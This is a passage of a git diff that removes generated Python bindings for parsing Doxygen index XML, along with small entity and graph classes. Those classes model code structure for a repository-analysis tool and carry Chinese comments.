- showIndent(outfile, level) - outfile.write( - 'model_.MixedContainer(%d, %d, "%s", "%s"),\n' % ( - self.category, self.content_type, - self.name, self.value)) - elif self.category == MixedContainer.CategorySimple: - showIndent(outfile, level) - outfile.write( - 'model_.MixedContainer(%d, %d, "%s", "%s"),\n' % ( - self.category, self.content_type, - self.name, self.value)) - else: # category == MixedContainer.CategoryComplex - showIndent(outfile, level) - outfile.write( - 'model_.MixedContainer(%d, %d, "%s",\n' % ( - self.category, self.content_type, self.name,)) - self.value.exportLiteral(outfile, level + 1) - showIndent(outfile, level) - outfile.write(')\n') - - -class MemberSpec_(object): - def __init__(self, name='', data_type='', container=0, - optional=0, child_attrs=None, choice=None): - self.name = name - self.data_type = data_type - self.container = container - self.child_attrs = child_attrs - self.choice = choice - self.optional = optional - def set_name(self, name): self.name = name - def get_name(self): return self.name - def set_data_type(self, data_type): self.data_type = data_type - def get_data_type_chain(self): return self.data_type - def get_data_type(self): - if isinstance(self.data_type, list): - if len(self.data_type) > 0: - return self.data_type[-1] - else: - return 'xs:string' - else: - return self.data_type - def set_container(self, container): self.container = container - def get_container(self): return self.container - def set_child_attrs(self, child_attrs): self.child_attrs = child_attrs - def get_child_attrs(self): return self.child_attrs - def set_choice(self, choice): self.choice = choice - def get_choice(self): return self.choice - def set_optional(self, optional): self.optional = optional - def get_optional(self): return self.optional - - -def _cast(typ, value): - if typ is None or value is None: - return value - return typ(value) - -# -# Data representation classes. -# - - -class CompoundKind(str, Enum): - CLASS='class' - STRUCT='struct' - UNION='union' - INTERFACE='interface' - PROTOCOL='protocol' - CATEGORY='category' - EXCEPTION='exception' - FILE='file' - NAMESPACE='namespace' - GROUP='group' - PAGE='page' - EXAMPLE='example' - DIR='dir' - TYPE='type' - CONCEPT='concept' - - -class MemberKind(str, Enum): - DEFINE='define' - PROPERTY='property' - EVENT='event' - VARIABLE='variable' - TYPEDEF='typedef' - ENUM='enum' - ENUMVALUE='enumvalue' - FUNCTION='function' - SIGNAL='signal' - PROTOTYPE='prototype' - FRIEND='friend' - DCOP='dcop' - SLOT='slot' - - -class DoxygenType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, version=None, lang=None, compound=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.version = _cast(None, version) - self.version_nsprefix_ = None - self.lang = _cast(None, lang) - self.lang_nsprefix_ = None - if compound is None: - self.compound = [] - else: - self.compound = compound - self.compound_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, DoxygenType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if DoxygenType.subclass: - return DoxygenType.subclass(*args_, **kwargs_) - else: - return DoxygenType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_compound(self): - return self.compound - def set_compound(self, compound): - self.compound = compound - def add_compound(self, value): - self.compound.append(value) - def insert_compound_at(self, index, value): - self.compound.insert(index, value) - def replace_compound_at(self, index, value): - self.compound[index] = value - def get_version(self): - return self.version - def set_version(self, version): - self.version = version - def get_lang(self): - return self.lang - def set_lang(self, lang): - self.lang = lang - def hasContent_(self): - if ( - self.compound - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='DoxygenType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('DoxygenType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'DoxygenType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='DoxygenType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='DoxygenType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='DoxygenType'): - if self.version is not None and 'version' not in already_processed: - already_processed.add('version') - outfile.write(' version=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.version), input_name='version')), )) - if self.lang is not None and 'lang' not in already_processed: - already_processed.add('lang') - outfile.write(' xml:lang=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.lang), input_name='lang')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='DoxygenType', fromsubclass_=False, pretty_print=True): - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for compound_ in self.compound: - namespaceprefix_ = self.compound_nsprefix_ + ':' if (UseCapturedNS_ and self.compound_nsprefix_) else '' - compound_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='compound', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('version', node) - if value is not None and 'version' not in already_processed: - already_processed.add('version') - self.version = value - value = find_attr_value_('lang', node) - if value is not None and 'lang' not in already_processed: - already_processed.add('lang') - self.lang = value - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'compound': - obj_ = CompoundType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.compound.append(obj_) - obj_.original_tagname_ = 'compound' -# end class DoxygenType - - -class CompoundType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, refid=None, kind=None, name=None, member=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.refid = _cast(None, refid) - self.refid_nsprefix_ = None - self.kind = _cast(None, kind) - self.kind_nsprefix_ = None - self.name = name - self.name_nsprefix_ = None - if member is None: - self.member = [] - else: - self.member = member - self.member_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, CompoundType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if CompoundType.subclass: - return CompoundType.subclass(*args_, **kwargs_) - else: - return CompoundType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_name(self): - return self.name - def set_name(self, name): - self.name = name - def get_member(self): - return self.member - def set_member(self, member): - self.member = member - def add_member(self, value): - self.member.append(value) - def insert_member_at(self, index, value): - self.member.insert(index, value) - def replace_member_at(self, index, value): - self.member[index] = value - def get_refid(self): - return self.refid - def set_refid(self, refid): - self.refid = refid - def get_kind(self): - return self.kind - def set_kind(self, kind): - self.kind = kind - def validate_CompoundKind(self, value): - # Validate type CompoundKind, a restriction on xsd:string. - if value is not None and Validate_simpletypes_ and self.gds_collector_ is not None: - if not isinstance(value, str): - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s is not of the correct base simple type (str)' % {"value": value, "lineno": lineno, }) - return False - value = value - enumerations = ['class', 'struct', 'union', 'interface', 'protocol', 'category', 'exception', 'file', 'namespace', 'group', 'page', 'example', 'dir', 'type', 'concept'] - if value not in enumerations: - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s does not match xsd enumeration restriction on CompoundKind' % {"value" : encode_str_2_3(value), "lineno": lineno} ) - result = False - def hasContent_(self): - if ( - self.name is not None or - self.member - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='CompoundType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('CompoundType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'CompoundType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='CompoundType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='CompoundType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='CompoundType'): - if self.refid is not None and 'refid' not in already_processed: - already_processed.add('refid') - outfile.write(' refid=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.refid), input_name='refid')), )) - if self.kind is not None and 'kind' not in already_processed: - already_processed.add('kind') - outfile.write(' kind=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.kind), input_name='kind')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='CompoundType', fromsubclass_=False, pretty_print=True): - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.name is not None: - namespaceprefix_ = self.name_nsprefix_ + ':' if (UseCapturedNS_ and self.name_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sname>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(self.name), input_name='name')), namespaceprefix_ , eol_)) - for member_ in self.member: - namespaceprefix_ = self.member_nsprefix_ + ':' if (UseCapturedNS_ and self.member_nsprefix_) else '' - member_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='member', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('refid', node) - if value is not None and 'refid' not in already_processed: - already_processed.add('refid') - self.refid = value - value = find_attr_value_('kind', node) - if value is not None and 'kind' not in already_processed: - already_processed.add('kind') - self.kind = value - self.validate_CompoundKind(self.kind) # validate type CompoundKind - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'name': - value_ = child_.text - value_ = self.gds_parse_string(value_, node, 'name') - value_ = self.gds_validate_string(value_, node, 'name') - self.name = value_ - self.name_nsprefix_ = child_.prefix - elif nodeName_ == 'member': - obj_ = MemberType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.member.append(obj_) - obj_.original_tagname_ = 'member' -# end class CompoundType - - -class MemberType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, refid=None, kind=None, name=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.refid = _cast(None, refid) - self.refid_nsprefix_ = None - self.kind = _cast(None, kind) - self.kind_nsprefix_ = None - self.name = name - self.name_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, MemberType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if MemberType.subclass: - return MemberType.subclass(*args_, **kwargs_) - else: - return MemberType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_name(self): - return self.name - def set_name(self, name): - self.name = name - def get_refid(self): - return self.refid - def set_refid(self, refid): - self.refid = refid - def get_kind(self): - return self.kind - def set_kind(self, kind): - self.kind = kind - def validate_MemberKind(self, value): - # Validate type MemberKind, a restriction on xsd:string. - if value is not None and Validate_simpletypes_ and self.gds_collector_ is not None: - if not isinstance(value, str): - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s is not of the correct base simple type (str)' % {"value": value, "lineno": lineno, }) - return False - value = value - enumerations = ['define', 'property', 'event', 'variable', 'typedef', 'enum', 'enumvalue', 'function', 'signal', 'prototype', 'friend', 'dcop', 'slot'] - if value not in enumerations: - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s does not match xsd enumeration restriction on MemberKind' % {"value" : encode_str_2_3(value), "lineno": lineno} ) - result = False - def hasContent_(self): - if ( - self.name is not None - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='MemberType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('MemberType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'MemberType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='MemberType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='MemberType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='MemberType'): - if self.refid is not None and 'refid' not in already_processed: - already_processed.add('refid') - outfile.write(' refid=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.refid), input_name='refid')), )) - if self.kind is not None and 'kind' not in already_processed: - already_processed.add('kind') - outfile.write(' kind=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.kind), input_name='kind')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='MemberType', fromsubclass_=False, pretty_print=True): - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.name is not None: - namespaceprefix_ = self.name_nsprefix_ + ':' if (UseCapturedNS_ and self.name_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sname>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(self.name), input_name='name')), namespaceprefix_ , eol_)) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('refid', node) - if value is not None and 'refid' not in already_processed: - already_processed.add('refid') - self.refid = value - value = find_attr_value_('kind', node) - if value is not None and 'kind' not in already_processed: - already_processed.add('kind') - self.kind = value - self.validate_MemberKind(self.kind) # validate type MemberKind - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'name': - value_ = child_.text - value_ = self.gds_parse_string(value_, node, 'name') - value_ = self.gds_validate_string(value_, node, 'name') - self.name = value_ - self.name_nsprefix_ = child_.prefix -# end class MemberType - - -GDSClassesMapping = { - 'doxygenindex': DoxygenType, -} - - -USAGE_TEXT = """ -Usage: python .py [ -s ] -""" - - -def usage(): - print(USAGE_TEXT) - sys.exit(1) - - -def get_root_tag(node): - tag = Tag_pattern_.match(node.tag).groups()[-1] - rootClass = GDSClassesMapping.get(tag) - if rootClass is None: - rootClass = globals().get(tag) - return tag, rootClass - - -def get_required_ns_prefix_defs(rootNode): - '''Get all name space prefix definitions required in this XML doc. - Return a dictionary of definitions and a char string of definitions. - ''' - nsmap = { - prefix: uri - for node in rootNode.iter() - for (prefix, uri) in node.nsmap.items() - if prefix is not None - } - namespacedefs = ' '.join([ - 'xmlns:{}="{}"'.format(prefix, uri) - for prefix, uri in nsmap.items() - ]) - return nsmap, namespacedefs - - -def parse(inFileName, silence=False, print_warnings=True): - global CapturedNsmap_ - gds_collector = GdsCollector_() - parser = None - doc = parsexml_(inFileName, parser) - rootNode = doc.getroot() - rootTag, rootClass = get_root_tag(rootNode) - if rootClass is None: - rootTag = 'DoxygenType' - rootClass = DoxygenType - rootObj = rootClass.factory() - rootObj.build(rootNode, gds_collector_=gds_collector) - CapturedNsmap_, namespacedefs = get_required_ns_prefix_defs(rootNode) - if not SaveElementTreeNode: - doc = None - rootNode = None - if not silence: - sys.stdout.write('\n') - rootObj.export( - sys.stdout, 0, name_=rootTag, - namespacedef_=namespacedefs, - pretty_print=True) - # if print_warnings and len(gds_collector.get_messages()) > 0: - # separator = ('-' * 50) + '\n' - # sys.stderr.write(separator) - # sys.stderr.write('----- Warnings -- count: {} -----\n'.format( - # len(gds_collector.get_messages()), )) - # gds_collector.write_messages(sys.stderr) - # sys.stderr.write(separator) - return rootObj - - -def parseEtree(inFileName, silence=False, print_warnings=True, - mapping=None, nsmap=None): - parser = None - doc = parsexml_(inFileName, parser) - gds_collector = GdsCollector_() - rootNode = doc.getroot() - rootTag, rootClass = get_root_tag(rootNode) - if rootClass is None: - rootTag = 'DoxygenType' - rootClass = DoxygenType - rootObj = rootClass.factory() - rootObj.build(rootNode, gds_collector_=gds_collector) - # Enable Python to collect the space used by the DOM. - if mapping is None: - mapping = {} - rootElement = rootObj.to_etree( - None, name_=rootTag, mapping_=mapping, nsmap_=nsmap) - reverse_mapping = rootObj.gds_reverse_node_mapping(mapping) - if not SaveElementTreeNode: - doc = None - rootNode = None - if not silence: - content = etree_.tostring( - rootElement, pretty_print=True, - xml_declaration=True, encoding="utf-8") - sys.stdout.write(str(content)) - sys.stdout.write('\n') - # if print_warnings and len(gds_collector.get_messages()) > 0: - # separator = ('-' * 50) + '\n' - # sys.stderr.write(separator) - # sys.stderr.write('----- Warnings -- count: {} -----\n'.format( - # len(gds_collector.get_messages()), )) - # gds_collector.write_messages(sys.stderr) - # sys.stderr.write(separator) - return rootObj, rootElement, mapping, reverse_mapping - - -def parseString(inString, silence=False, print_warnings=True): - '''Parse a string, create the object tree, and export it. - - Arguments: - - inString -- A string. This XML fragment should not start - with an XML declaration containing an encoding. - - silence -- A boolean. If False, export the object. - Returns -- The root object in the tree. - ''' - parser = None - rootNode= parsexmlstring_(inString, parser) - gds_collector = GdsCollector_() - rootTag, rootClass = get_root_tag(rootNode) - if rootClass is None: - rootTag = 'DoxygenType' - rootClass = DoxygenType - rootObj = rootClass.factory() - rootObj.build(rootNode, gds_collector_=gds_collector) - if not SaveElementTreeNode: - rootNode = None - if not silence: - sys.stdout.write('\n') - rootObj.export( - sys.stdout, 0, name_=rootTag, - namespacedef_='') - # if print_warnings and len(gds_collector.get_messages()) > 0: - # separator = ('-' * 50) + '\n' - # sys.stderr.write(separator) - # sys.stderr.write('----- Warnings -- count: {} -----\n'.format( - # len(gds_collector.get_messages()), )) - # gds_collector.write_messages(sys.stderr) - # sys.stderr.write(separator) - return rootObj - - -def parseLiteral(inFileName, silence=False, print_warnings=True): - parser = None - doc = parsexml_(inFileName, parser) - gds_collector = GdsCollector_() - rootNode = doc.getroot() - rootTag, rootClass = get_root_tag(rootNode) - if rootClass is None: - rootTag = 'DoxygenType' - rootClass = DoxygenType - rootObj = rootClass.factory() - rootObj.build(rootNode, gds_collector_=gds_collector) - # Enable Python to collect the space used by the DOM. - if not SaveElementTreeNode: - doc = None - rootNode = None - if not silence: - sys.stdout.write('#from index import *\n\n') - sys.stdout.write('import index as model_\n\n') - sys.stdout.write('rootObj = model_.rootClass(\n') - rootObj.exportLiteral(sys.stdout, 0, name_=rootTag) - sys.stdout.write(')\n') - # if print_warnings and len(gds_collector.get_messages()) > 0: - # separator = ('-' * 50) + '\n' - # sys.stderr.write(separator) - # sys.stderr.write('----- Warnings -- count: {} -----\n'.format( - # len(gds_collector.get_messages()), )) - # gds_collector.write_messages(sys.stderr) - # sys.stderr.write(separator) - return rootObj - - -def main(): - args = sys.argv[1:] - if len(args) == 1: - parse(args[0]) - else: - usage() - - -if __name__ == '__main__': - #import pdb; pdb.set_trace() - main() - -RenameMappings_ = { -} - -# -# Mapping of namespaces to types defined in them -# and the file in which each is defined. -# simpleTypes are marked "ST" and complexTypes "CT". -NamespaceToDefMappings_ = {'http://www.w3.org/XML/1998/namespace': []} - -__all__ = [ - "CompoundType", - "DoxygenType", - "MemberType" -] diff --git a/xmlparser/doxygen_main/ClassEntity.py b/xmlparser/doxygen_main/ClassEntity.py deleted file mode 100644 index 5ff2d3a..0000000 --- a/xmlparser/doxygen_main/ClassEntity.py +++ /dev/null @@ -1,67 +0,0 @@ -from xmlparser.doxygen_main.FieldEntity import FieldEntity -from xmlparser.doxygen_main.MethodEntity import MethodEntity - - -class ClassEntity: - """ - 解析类/接口的定义,两者的区别在于kind属性=class or interface - """ - ref_id: str # id 唯一标识 - kind: str # class/interface - prot: str # public/private - compound_name: str # 名字 org::eclipse::ecf::presence::ui::handlers::BrowseDialog::RosterItemsComparator - base_compound_ref: list[str] # 继承的类数组 如果有id 则为id 否则为名字 - derived_compound_ref: list[str] # 被继承的类数组 如果有id 则为id 否则为名字 - inner_class: list[str] # 内部类id数组 - fields: list[FieldEntity] # 字段列表 - methods: list[MethodEntity] # 方法列表 - - def __init__(self): - self.ref_id = '' - self.kind = '' - self.prot = '' - self.compound_name = '' - self.base_compound_ref = [] - self.inner_class = [] - self.derived_compound_ref = [] - self.fields = [] - self.methods = [] - - def print(self): - print("ref_id: {0}, kind: {1}, compound_name: {2}".format( - self.ref_id, self.kind, self.compound_name - )) - print("class fields: ----------------------") - for f in self.fields: - f.print() - print("class methods: --------------------------") - for m in self.methods: - m.print() - - def set_class_info(self, ref_id='', kind='', prot='', compound_name=''): - if not ref_id == '': - self.ref_id = ref_id - if not kind == '': - self.kind = kind - if not prot == '': - self.prot = prot - if not compound_name == '': - self.compound_name = compound_name - - def add_inner_class(self, inner_class_id: str): - self.inner_class.append(inner_class_id) - - def add_field(self, field: FieldEntity): - self.fields.append(field) - - def add_method(self, method: MethodEntity): - self.methods.append(method) - - def add_base_compound_ref(self, base_ref: str): - self.base_compound_ref.append(base_ref) - - def add_derived_compound_ref(self, derived_ref: str): - self.derived_compound_ref.append(derived_ref) - - def add_inner_class(self, inner: str): - self.inner_class.append(inner) diff --git a/xmlparser/doxygen_main/Edge.py b/xmlparser/doxygen_main/Edge.py deleted file mode 100644 index 7969473..0000000 --- a/xmlparser/doxygen_main/Edge.py +++ /dev/null @@ -1,14 +0,0 @@ -class Edge: - """ - 图节点 - """ - start: int - end: int # class interface... - label: str # 节点element的全名 - origin: int # origin=1表示是否是context model中的,而不是扩展的 - - def __init__(self, start: int, end: int, label: str, origin: int): - self.start = start - self.end = end - self.label = label - self.origin = origin diff --git a/xmlparser/doxygen_main/FieldEntity.py b/xmlparser/doxygen_main/FieldEntity.py deleted file mode 100644 index f6ffb7f..0000000 --- a/xmlparser/doxygen_main/FieldEntity.py +++ /dev/null @@ -1,69 +0,0 @@ -from xmlparser.doxygen_main.LocationEntity import LocationEntity - - -class FieldEntity: - """ - 字段实体 - """ - ref_id: str # id 唯一标识 - kind: str # 分类类型 variable or function - prot: str # public or private - static: str # 是否为静态 yes no - field_type: str # 字段类型 - definition: str # 定义字符串 - name: str # 名字 - qualified_name: str # 全名称 xxx.xxx.xxx.xx - initializer: str # 初始字符串 =xxx - location_file: str # 位置文件路径字符串 - referenced_by: list[str] # 被引用的id - location: LocationEntity - - def __init__(self): - self.ref_id = '' - self.kind = '' - self.prot = '' - self.static = '' - self.field_type = '' - self.definition = '' - self.name = '' - self.qualified_name = '' - self.initializer = '' - self.location_file = '' - self.referenced_by = [] - self.location = LocationEntity() - - def print(self): - print("name: {0}, kind: {1}, prot: {2}, static: {3}, field_type: {4}, definition: {5}, qualified_name: {6}, " - "initializer: {7}, location_file: {8}, ref_id: {9}, referencedBy: {10}".format( - self.name, self.kind, self.prot, self.static, self.field_type, self.definition, - self.qualified_name, self.initializer, self.location_file, self.ref_id, self.referenced_by) - ) - - def set_field_info(self, ref_id='', kind='', prot='', static='', field_type='', definition='', name='', - qualified_name='', location_file='', initializer=''): - if not ref_id == '': - self.ref_id = ref_id - if not kind == '': - self.kind = kind - if not prot == '': - self.prot = prot - if not static == '': - self.static = static - if not field_type == '': - self.field_type = field_type - if not definition == '': - self.definition = definition - if not initializer == '': - self.initializer = initializer - if not name == '': - self.name = name - if not qualified_name == '': - self.qualified_name = qualified_name - if not location_file == '': - self.location_file = location_file - - def add_referenced_by(self, referenced_by: str): - self.referenced_by.append(referenced_by) - - def set_location(self, location: LocationEntity): - self.location = location diff --git a/xmlparser/doxygen_main/Graph.py b/xmlparser/doxygen_main/Graph.py deleted file mode 100644 index 44501cc..0000000 --- a/xmlparser/doxygen_main/Graph.py +++ /dev/null @@ -1,123 +0,0 @@ -from xmlparser.doxygen_main.Edge import Edge -from xmlparser.doxygen_main.Vertex import Vertex - - -class EdgeLabel: - DECLARE = 'declares' - CALL = 'calls' - INHERIT = 'inherits' - IMPLEMENT = 'implements' - - -class Graph: - """ - 关系图 - """ - repo_name: str # repo_name - repo_path: str # repo_path - vertices: list[Vertex] # { id, ref_id, kind, label, origin } origin=1表示是否是context model中的,而不是扩展的 - edges: list[Edge] # { start, end, label, origin } - - def __init__(self): - self.repo_name = '' - self.repo_path = '' - self.vertices = [] - self.edges = [] - - def print(self): - print("repo_name: {0}, vertices: {0}, edges: {1}".format(self.repo_name, self.vertices, self.edges)) - - def set_repo_name(self, repo_name: str): - self.repo_name = repo_name - - def set_repo_path(self, repo_path: str): - self.repo_path = repo_path - - def add_whole_vertex(self, vertex: Vertex): - vertex.id = len(self.vertices) - self.vertices.append(vertex) - - def add_vertex(self, ref_id: str, kind: str, label: str): - self.vertices.append(Vertex( - _id=len(self.vertices), - ref_id=ref_id, - kind=kind, - label=label, - origin=0 - )) - return len(self.vertices) - - def add_vertex_origin(self, ref_id: str, kind: str, label: str): - self.vertices.append(Vertex( - _id=len(self.vertices), - ref_id=ref_id, - kind=kind, - label=label, - origin=1 - )) - return len(self.vertices) - - def add_whole_edge(self, edge: Edge): - self.edges.append(edge) - - def add_edge(self, start: int, end: int, label: str): - if start < 0 or start >= len(self.vertices) or end < 0 or end >= len(self.vertices) or label == '': - return - for edge in self.edges: - if edge.start == start and edge.end == end: - return - self.edges.append(Edge( - start=start, - end=end, - label=label, - origin=0 - )) - - def add_edge_origin(self, start: int, end: int, label: str): - if start < 0 or start >= len(self.vertices) or end < 0 or end >= len(self.vertices) or label == '': - return - for edge in self.edges: - if edge.start == start and edge.end == end: - return - self.edges.append(Edge( - start=start, - end=end, - label=label, - origin=1 - )) - - def get_vertex_by_id(self, _id: int): - """ - 根据id获取vertex - - :param _id: id - :return: vertex,否则为 None - """ - for vertex in self.vertices: - if vertex.id == _id: - return vertex - return None - - def get_vertex_id_by_ref_id(self, ref_id: str): - """ - 根据ref_id查找是否存在匹配的顶点 - - :param ref_id: ref_id - :return: 顶点的 id,没有则返回空字符串 - """ - for vertex in self.vertices: - if vertex.ref_id == ref_id: - return vertex.id - return -1 - - def get_vertex_id_and_kind_by_ref_id(self, ref_id: str): - """ - 根据ref_id查找是否存在匹配的顶点 - - :param ref_id: ref_id - :return: 顶点的 id,没有则返回空字符串 - """ - for vertex in self.vertices: - if vertex.ref_id == ref_id: - return vertex.id, vertex.kind - return -1, '' diff --git a/xmlparser/doxygen_main/LocationEntity.py b/xmlparser/doxygen_main/LocationEntity.py deleted file mode 100644 index 8f1dcfe..0000000 --- a/xmlparser/doxygen_main/LocationEntity.py +++ /dev/null @@ -1,33 +0,0 @@ -class LocationEntity: - """ - 字段和方法的location实体 - """ - - file = '' # 所在file路径 - - line = -1 # 应该是声明字段或者方法的行 - - column = -1 # 字段名或方法名的列,从返回值开始位置算 - """从返回值位置开始列下标""" - - body_file = '' # 方法体的file - """方法体文件""" - - body_start = -1 # 方法体开始行 - """方法体开始行""" - - body_end = -1 # 方法体结束行 - """方法体结束行""" - - def __init__(self, file='', line=-1, column=-1, body_file='', body_start=-1, body_end=-1): - self.file = file - self.line = line - self.column = column - self.body_file = body_file - self.body_start = body_start - self.body_end = body_end - - def print(self): - print("file: {0}, line: {1}, column: {2}, body_file: {3}, body_start: {4}, body_end: {5}".format( - self.file, self.line, self.column, self.body_file, self.body_start, 